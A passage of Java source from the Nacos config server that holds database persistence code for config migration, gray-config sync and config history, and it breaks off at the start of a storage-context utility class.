mapperResult.getParamList().toArray(), Long.class);\n    }\n    \n    @Override\n    public List<Long> getMigrateConfigGrayInsertIdList(long startId, int pageSize) {\n        ConfigMigrateMapper configMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.ID, startId);\n        context.setPageSize(pageSize);\n        MapperResult mapperResult = configMigrateMapper.findConfigGrayIdNeedInsertMigrate(context);\n        return jt.queryForList(mapperResult.getSql(), mapperResult.getParamList().toArray(), Long.class);\n    }\n    \n    @Override\n    public List<ConfigInfo> getMigrateConfigUpdateList(long startId, int pageSize, String srcTenant,\n            String targetTenant, String srcUser) {\n        ConfigMigrateMapper configMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n        context.putWhereParameter(FieldConstant.ID, startId);\n        context.putWhereParameter(FieldConstant.SRC_TENANT, srcTenant);\n        context.putWhereParameter(FieldConstant.TARGET_TENANT, targetTenant);\n        context.setPageSize(pageSize);\n        MapperResult mapperResult = configMigrateMapper.findConfigNeedUpdateMigrate(context);\n        return jt.query(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                CONFIG_INFO_ROW_MAPPER);\n    }\n    \n    @Override\n    public List<ConfigInfoGrayWrapper> getMigrateConfigGrayUpdateList(long startId, int pageSize, String srcTenant,\n            String targetTenant, String srcUser) {\n        ConfigMigrateMapper configMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n        context.putWhereParameter(FieldConstant.ID, startId);\n        context.putWhereParameter(FieldConstant.SRC_TENANT, srcTenant);\n        context.putWhereParameter(FieldConstant.TARGET_TENANT, targetTenant);\n        context.setPageSize(pageSize);\n        MapperResult mapperResult = configMigrateMapper.findConfigGrayNeedUpdateMigrate(context);\n        return jt.query(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER);\n    }\n    \n    @Override\n    public void migrateConfigInsertByIds(List<Long> ids, String srcUser) {\n        ConfigMigrateMapper configMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.IDS, ids);\n        context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n        MapperResult mapperResult = configMigrateMapper.migrateConfigInsertByIds(context);\n        try {\n            jt.update(mapperResult.getSql(), mapperResult.getParamList().toArray());\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] migrateConfigInsertByIds\" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public void migrateConfigGrayInsertByIds(List<Long> ids, String srcUser) {\n        ConfigMigrateMapper configMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.IDS, ids);\n        context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n        MapperResult mapperResult = configMigrateMapper.migrateConfigGrayInsertByIds(context);\n        try {\n            jt.update(mapperResult.getSql(), mapperResult.getParamList().toArray());\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] migrateConfigGrayInsertByIds\" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public void syncConfigGray(String dataId, String group, String tenant, String grayName, String targetTenant,\n            String srcUser) {\n        tjt.execute(status -> {\n            try {\n                ConfigInfoGrayWrapper sourceConfigInfoGrayWrapper = configInfoGrayPersistService.findConfigInfo4Gray(\n                        dataId, group, tenant, grayName);\n                ConfigInfoGrayWrapper targetConfigInfoGrayWrapper = configInfoGrayPersistService.findConfigInfo4Gray(\n                        dataId, group, targetTenant, grayName);\n                if (sourceConfigInfoGrayWrapper == null) {\n                    removeConfigInfoGrayWithoutHistory(dataId, group, targetTenant, grayName, null, srcUser);\n                    ConfigInfoGrayWrapper configInfoGrayWrapper = configInfoGrayPersistService.findConfigInfo4Gray(\n                            dataId, group, tenant, grayName);\n                    if (configInfoGrayWrapper != null) {\n                        throw new Exception(\"sourceConfigInfoGray has been updated,dataId=\" + dataId + \",group=\" + group\n                                + \",tenant=\" + tenant + \",grayName=\" + grayName);\n                    }\n                } else {\n                    if (targetConfigInfoGrayWrapper == null) {\n                        sourceConfigInfoGrayWrapper.setTenant(targetTenant);\n                        configInfoGrayPersistService.addConfigInfoGrayAtomic(-1, sourceConfigInfoGrayWrapper,\n                                sourceConfigInfoGrayWrapper.getGrayName(), sourceConfigInfoGrayWrapper.getGrayRule(),\n                                null, srcUser);\n                        ConfigInfoGrayWrapper configInfoGrayWrapper = configInfoGrayPersistService.findConfigInfo4Gray(\n                                dataId, group, tenant, grayName);\n                        if (!StringUtils.equals(configInfoGrayWrapper.getMd5(), sourceConfigInfoGrayWrapper.getMd5())\n                                || !StringUtils.equals(configInfoGrayWrapper.getGrayRule(),\n                                sourceConfigInfoGrayWrapper.getGrayRule())) {\n                            throw new Exception(\n                                    \"sourceConfigInfoGray has been updated,dataId=\" + dataId + \",group=\" + group\n                                            + \",tenant=\" + tenant + \",grayName=\" + grayName);\n                        }\n                    } else if (sourceConfigInfoGrayWrapper.getLastModified()\n                            >= targetConfigInfoGrayWrapper.getLastModified()) {\n                        sourceConfigInfoGrayWrapper.setTenant(targetTenant);\n                        updateConfigInfo4GrayWithoutHistory(sourceConfigInfoGrayWrapper,\n                                sourceConfigInfoGrayWrapper.getGrayName(), sourceConfigInfoGrayWrapper.getGrayRule(),\n                                null, srcUser, targetConfigInfoGrayWrapper.getLastModified(), targetConfigInfoGrayWrapper.getMd5());\n                        ConfigInfoGrayWrapper configInfoGrayWrapper = configInfoGrayPersistService.findConfigInfo4Gray(\n                                dataId, group, tenant, grayName);\n                        if (!StringUtils.equals(configInfoGrayWrapper.getMd5(), sourceConfigInfoGrayWrapper.getMd5())\n                                || !StringUtils.equals(configInfoGrayWrapper.getGrayRule(),\n                                sourceConfigInfoGrayWrapper.getGrayRule())) {\n                            throw new Exception(\n                                    \"sourceConfigInfoGray has been updated,dataId=\" + dataId + \",group=\" + group\n                                            + \",tenant=\" + tenant + \",grayName=\" + grayName);\n                        }\n                    }\n                }\n            } catch (Exception e) {\n                LogUtil.FATAL_LOG.error(\"[db-error] syncConfigGray\" + e, e);\n                throw new RuntimeException(e);\n            }\n            return null;\n        });\n    }\n    \n    /**\n     * Remove config info gray without history.\n     *\n     * @param dataId   the data id\n     * @param group    the group\n     * @param tenant   the tenant\n     * @param grayName the gray name\n     * @param srcIp    the src ip\n     * @param srcUser  the src user\n     */\n    public void removeConfigInfoGrayWithoutHistory(final String dataId, final String group, final String tenant,\n            final String grayName, final String srcIp, final String srcUser) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName;\n        try {\n            ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_GRAY);\n            jt.update(configInfoGrayMapper.delete(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\")),\n                    dataId, group, tenantTmp, grayNameTmp);\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    /**\n     * Update config info 4 gray without history.\n     *\n     * @param configInfo the config info\n     * @param grayName   the gray name\n     * @param grayRule   the gray rule\n     * @param srcIp      the src ip\n     * @param srcUser    the src user\n     */\n    public void updateConfigInfo4GrayWithoutHistory(ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser, long lastModified, final String targetMd5) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n        String grayRuleTmp = StringUtils.isBlank(grayRule) ? StringUtils.EMPTY : grayRule.trim();\n        Timestamp modifiedTime = new Timestamp(lastModified);\n        try {\n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_GRAY);\n            jt.update(configInfoGrayMapper.update(\n                            Arrays.asList(\"content\", \"encrypted_data_key\", \"md5\", \"src_ip\", \"src_user\", \"gmt_modified@NOW()\",\n                                    \"app_name\", \"gray_rule\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\", \"gmt_modified\", \"md5\")),\n                    configInfo.getContent(), configInfo.getEncryptedDataKey(), md5, srcIp, srcUser, appNameTmp,\n                    grayRuleTmp, configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayNameTmp, modifiedTime, targetMd5);\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public void syncConfig(String dataId, String group, String tenant, String targetTenant, String srcUser) {\n        tjt.execute(status -> {\n            try {\n                ConfigInfoWrapper sourceConfigInfoWrapper = configInfoPersistService.findConfigInfo(dataId, group,\n                        tenant);\n                ConfigInfoWrapper targetConfigInfoWrapper = configInfoPersistService.findConfigInfo(dataId, group,\n                        targetTenant);\n                if (sourceConfigInfoWrapper == null) {\n                    configInfoPersistService.removeConfigInfoAtomic(dataId, group, targetTenant, null, srcUser);\n                    ConfigInfoWrapper configInfoWrapper = configInfoPersistService.findConfigInfo(dataId, group,\n                            tenant);\n                    if (configInfoWrapper != null) {\n                        LogUtil.FATAL_LOG.error(\n                                \"syncConfig failed, sourceConfigInfo has been updated,dataId=\" + dataId + \",group=\"\n                                        + group + \",tenant=\" + tenant);\n                        throw new Exception(\n                                \"syncConfig failed,sourceConfigInfo has been updated,dataId=\" + dataId + \",group=\"\n                                        + group + \",tenant=\" + tenant);\n                    }\n                } else {\n                    if (targetConfigInfoWrapper == null) {\n                        sourceConfigInfoWrapper.setTenant(targetTenant);\n                        configInfoPersistService.addConfigInfoAtomic(-1, null, srcUser, sourceConfigInfoWrapper, null);\n                        ConfigInfoWrapper configInfoWrapper = configInfoPersistService.findConfigInfo(dataId, group,\n                                tenant);\n                        if (!StringUtils.equals(configInfoWrapper.getMd5(), sourceConfigInfoWrapper.getMd5())) {\n                            LogUtil.FATAL_LOG.error(\n                                    \"syncConfig failed, sourceConfigInfo has been updated,dataId=\" + dataId + \",group=\"\n                                            + group + \",tenant=\" + tenant);\n                            throw new Exception(\n                                    \"syncConfig failed, sourceConfigInfo has been updated,dataId=\" + dataId + \",group=\"\n                                            + group + \",tenant=\" + tenant);\n                        }\n                    } else if (sourceConfigInfoWrapper.getLastModified() >= targetConfigInfoWrapper.getLastModified()) {\n                        sourceConfigInfoWrapper.setTenant(targetTenant);\n                        updateConfigInfoAtomic(sourceConfigInfoWrapper, null, srcUser, null, targetConfigInfoWrapper.getLastModified(),\n                                 targetConfigInfoWrapper.getMd5());\n                        ConfigInfoWrapper configInfoWrapper = configInfoPersistService.findConfigInfo(dataId, group,\n                                tenant);\n                        if (!StringUtils.equals(configInfoWrapper.getMd5(), sourceConfigInfoWrapper.getMd5())) {\n                            LogUtil.FATAL_LOG.error(\n                                    \"syncConfig failed, sourceConfigInfo has been updated,dataId=\" + dataId + \",group=\"\n                                            + group + \",tenant=\" + tenant);\n                            throw new Exception(\n                                    \"syncConfig failed, sourceConfigInfo has been updated,dataId=\" + dataId + \",group=\"\n                                            + group + \",tenant=\" + tenant);\n                        }\n                    }\n                }\n            } catch (Exception e) {\n                LogUtil.FATAL_LOG.error(\"[db-error] syncConfig\" + e, e);\n                throw new RuntimeException(e);\n            }\n            return null;\n        });\n    }\n    \n    /**\n     * Update config info atomic.\n     *\n     * @param configInfo        the config info\n     * @param srcIp             the src ip\n     * @param srcUser           the src user\n     * @param configAdvanceInfo the config advance info\n     * @param lastModified      the last modified\n     */\n    public void updateConfigInfoAtomic(final ConfigInfo configInfo, final String srcIp, final String srcUser,\n            Map<String, Object> configAdvanceInfo, long lastModified, final String targetMd5) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        final String md5Tmp = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        String desc = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"desc\");\n        String use = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"use\");\n        String effect = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"effect\");\n        String type = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"type\");\n        String schema = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"schema\");\n        Timestamp modifiedTime = new Timestamp(lastModified);\n        final String encryptedDataKey =\n                configInfo.getEncryptedDataKey() == null ? StringUtils.EMPTY : configInfo.getEncryptedDataKey();\n        try {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            jt.update(configInfoMapper.update(\n                            Arrays.asList(\"content\", \"md5\", \"src_ip\", \"src_user\", \"gmt_modified@NOW()\", \"app_name\", \"c_desc\",\n                                    \"c_use\", \"effect\", \"type\", \"c_schema\", \"encrypted_data_key\"),\n                            Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gmt_modified\", \"md5\")), configInfo.getContent(), md5Tmp, srcIp,\n                    srcUser, appNameTmp, desc, use, effect, type, schema, encryptedDataKey, configInfo.getDataId(),\n                    configInfo.getGroup(), tenantTmp, modifiedTime, targetMd5);\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalHistoryConfigInfoPersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnExternalStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.extrnal.ExternalStoragePaginationHelperImpl;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.HistoryConfigInfoMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.HISTORY_DETAIL_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.HISTORY_LIST_ROW_MAPPER;\n\n/**\n * ExternalHistoryConfigInfoPersistServiceImpl.\n *\n * @author lixiaoshuang\n */\n@SuppressWarnings(\"checkstyle:linelength\")\n@Conditional(value = ConditionOnExternalStorage.class)\n@Service(\"externalHistoryConfigInfoPersistServiceImpl\")\npublic class ExternalHistoryConfigInfoPersistServiceImpl implements HistoryConfigInfoPersistService {\n    \n    private DataSourceService dataSourceService;\n    \n    protected JdbcTemplate jt;\n    \n    protected TransactionTemplate tjt;\n    \n    private MapperManager mapperManager;\n    \n    public ExternalHistoryConfigInfoPersistServiceImpl() {\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        this.jt = dataSourceService.getJdbcTemplate();\n        this.tjt = dataSourceService.getTransactionTemplate();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new ExternalStoragePaginationHelperImpl<>(jt);\n    }\n    \n    @Override\n    public void insertConfigHistoryAtomic(long id, ConfigInfo configInfo, String srcIp, String srcUser,\n            final Timestamp time, String ops, String publishType, String grayName, String extInfo) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        final String md5Tmp = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        String encryptedDataKey = StringUtils.defaultEmptyIfBlank(configInfo.getEncryptedDataKey());\n        String publishTypeTmp = StringUtils.defaultEmptyIfBlank(publishType);\n        String grayNameTemp = StringUtils.defaultEmptyIfBlank(grayName);\n        \n        try {\n            HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                    dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n            jt.update(historyConfigInfoMapper.insert(\n                            Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"src_ip\",\n                                    \"src_user\", \"gmt_modified\", \"op_type\", \"publish_type\", \"gray_name\", \"ext_info\",\n                                    \"encrypted_data_key\")), id, configInfo.getDataId(), configInfo.getGroup(), tenantTmp,\n                    appNameTmp, configInfo.getContent(), md5Tmp, srcIp, srcUser, time, ops, publishTypeTmp,\n                    grayNameTemp, extInfo, encryptedDataKey);\n        } catch (DataAccessException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public void removeConfigHistory(final Timestamp startTime, final int limitSize) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.START_TIME, startTime);\n        context.putWhereParameter(FieldConstant.LIMIT_SIZE, limitSize);\n        MapperResult mapperResult = historyConfigInfoMapper.removeConfigHistory(context);\n        PaginationHelper<Object> paginationHelper = createPaginationHelper();\n        paginationHelper.updateLimit(mapperResult.getSql(), mapperResult.getParamList().toArray());\n    }\n    \n    @Override\n    public List<ConfigInfoStateWrapper> findDeletedConfig(final Timestamp startTime, long startId, int pageSize,\n            String publishType) {\n        try {\n            HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                    dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n            MapperContext context = new MapperContext();\n            context.putWhereParameter(FieldConstant.START_TIME, startTime);\n            context.putWhereParameter(FieldConstant.PAGE_SIZE, pageSize);\n            context.putWhereParameter(FieldConstant.LAST_MAX_ID, startId);\n            context.putWhereParameter(FieldConstant.PUBLISH_TYPE, publishType);\n            \n            MapperResult mapperResult = historyConfigInfoMapper.findDeletedConfig(context);\n            List<ConfigHistoryInfo> configHistoryInfos = jt.query(mapperResult.getSql(),\n                    mapperResult.getParamList().toArray(), HISTORY_DETAIL_ROW_MAPPER);\n            \n            List<ConfigInfoStateWrapper> configInfoStateWrappers = new ArrayList<>();\n            for (ConfigHistoryInfo configHistoryInfo : configHistoryInfos) {\n                ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n                configInfoStateWrapper.setId(configHistoryInfo.getId());\n                configInfoStateWrapper.setDataId(configHistoryInfo.getDataId());\n                configInfoStateWrapper.setGroup(configHistoryInfo.getGroup());\n                configInfoStateWrapper.setTenant(configHistoryInfo.getTenant());\n                configInfoStateWrapper.setMd5(configHistoryInfo.getMd5());\n                configInfoStateWrapper.setLastModified(configHistoryInfo.getLastModifiedTime().getTime());\n                configInfoStateWrapper.setGrayName(configHistoryInfo.getGrayName());\n                configInfoStateWrappers.add(configInfoStateWrapper);\n            }\n            return configInfoStateWrappers;\n        } catch (DataAccessException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public Page<ConfigHistoryInfo> findConfigHistory(String dataId, String group, String tenant, int pageNo,\n            int pageSize) {\n        PaginationHelper<ConfigHistoryInfo> helper = createPaginationHelper();\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        \n        MapperContext context = new MapperContext((pageNo - 1) * pageSize, pageSize);\n        context.putWhereParameter(FieldConstant.DATA_ID, dataId);\n        context.putWhereParameter(FieldConstant.GROUP_ID, group);\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n        \n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        \n        String sqlCountRows = historyConfigInfoMapper.count(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        MapperResult sqlFetchRows = historyConfigInfoMapper.pageFindConfigHistoryFetchRows(context);\n        \n        Page<ConfigHistoryInfo> page;\n        try {\n            page = helper.fetchPage(sqlCountRows, sqlFetchRows.getSql(), sqlFetchRows.getParamList().toArray(), pageNo,\n                    pageSize, HISTORY_LIST_ROW_MAPPER);\n        } catch (DataAccessException e) {\n            LogUtil.FATAL_LOG.error(\"[list-config-history] error, dataId:{}, group:{}\", new Object[] {dataId, group},\n                    e);\n            throw e;\n        }\n        return page;\n    }\n    \n    @Override\n    public ConfigHistoryInfo detailConfigHistory(Long nid) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        String sqlFetchRows = historyConfigInfoMapper.select(\n                Arrays.asList(\"nid\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"src_user\",\n                        \"src_ip\", \"op_type\", \"gmt_create\", \"gmt_modified\", \"publish_type\", \"gray_name\", \"ext_info\",\n                        \"encrypted_data_key\"), Collections.singletonList(\"nid\"));\n        try {\n            ConfigHistoryInfo historyInfo = jt.queryForObject(sqlFetchRows, new Object[] {nid},\n                    HISTORY_DETAIL_ROW_MAPPER);\n            return historyInfo;\n        } catch (EmptyResultDataAccessException emptyResultDataAccessException) {\n            return null;\n        } catch (DataAccessException e) {\n            LogUtil.FATAL_LOG.error(\"[detail-config-history] error, nid:{}\", new Object[] {nid}, e);\n            throw e;\n        }\n        \n    }\n    \n    @Override\n    public ConfigHistoryInfo detailPreviousConfigHistory(Long id) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.ID, id);\n        MapperResult sqlFetchRows = historyConfigInfoMapper.detailPreviousConfigHistory(context);\n        try {\n            ConfigHistoryInfo historyInfo = jt.queryForObject(sqlFetchRows.getSql(),\n                    sqlFetchRows.getParamList().toArray(), HISTORY_DETAIL_ROW_MAPPER);\n            return historyInfo;\n        } catch (EmptyResultDataAccessException emptyResultDataAccessException) {\n            return null;\n        } catch (DataAccessException e) {\n            LogUtil.FATAL_LOG.error(\"[detail-previous-config-history] error, id:{}\", new Object[] {id}, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public int findConfigHistoryCountByTime(final Timestamp startTime) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.START_TIME, startTime);\n        \n        MapperResult mapperResult = historyConfigInfoMapper.findConfigHistoryCountByTime(context);\n        Integer result = jt.queryForObject(mapperResult.getSql(), mapperResult.getParamList().toArray(), Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"findConfigHistoryCountByTime error\");\n        }\n        return result;\n    }\n\n    @Override\n    public ConfigHistoryInfo getNextHistoryInfo(String dataId, String group, String tenant, String publishType,\n            String grayName, long startNid) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.DATA_ID, dataId);\n        context.putWhereParameter(FieldConstant.GROUP_ID, group);\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenant);\n        context.putWhereParameter(FieldConstant.PUBLISH_TYPE, publishType);\n        context.putWhereParameter(FieldConstant.NID, startNid);\n        context.putWhereParameter(FieldConstant.GRAY_NAME, grayName);\n        MapperResult sqlFetchRows = historyConfigInfoMapper.getNextHistoryInfo(context);\n        try {\n            ConfigHistoryInfo historyInfo = jt.queryForObject(sqlFetchRows.getSql(),\n                    sqlFetchRows.getParamList().toArray(), HISTORY_DETAIL_ROW_MAPPER);\n            return historyInfo;\n        } catch (EmptyResultDataAccessException emptyResultDataAccessException) {\n            return null;\n        } catch (DataAccessException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/sql/EmbeddedStorageContextUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.sql;\n\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.event.ConfigDumpEvent;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.sys.env.EnvUtil;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Temporarily saves all insert, update, and delete statements under a transaction in the order in which they occur.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class EmbeddedStorageContextUtils {\n    \n    /**\n     * In the case of the in-cluster storage mode, the logic of horizontal notification is implemented asynchronously\n     * via the raft state machine, along with the information.\n     *\n     * @param configInfo {@link ConfigInfo}\n     * @param srcIp      The IP of the operator\n     * @param time       Operating time\n     */\n    public static void onModifyConfigInfo(ConfigInfo configInfo, String srcIp, Timestamp time) {\n        if (!EnvUtil.getStandaloneMode()) {\n            ConfigDumpEvent event = ConfigDumpEvent.builder().remove(false).namespaceId(configInfo.getTenant())\n                    .dataId(configInfo.getDataId()).group(configInfo.getGroup()).isBeta(false)\n                    .content(configInfo.getContent()).type(configInfo.getType()).handleIp(srcIp)\n                    .lastModifiedTs(time.getTime()).encryptedDataKey(configInfo.getEncryptedDataKey()).build();\n            \n            Map<String, String> extendInfo = new HashMap<>(2);\n            extendInfo.put(Constants.EXTEND_INFO_CONFIG_DUMP_EVENT, JacksonUtils.toJson(event));\n            EmbeddedStorageContextHolder.putAllExtendInfo(extendInfo);\n        }\n    }\n    \n    /**\n     * In the case of the in-cluster storage mode, the logic of horizontal notification is implemented asynchronously\n     * via the raft state machine, along with the information.\n     *\n     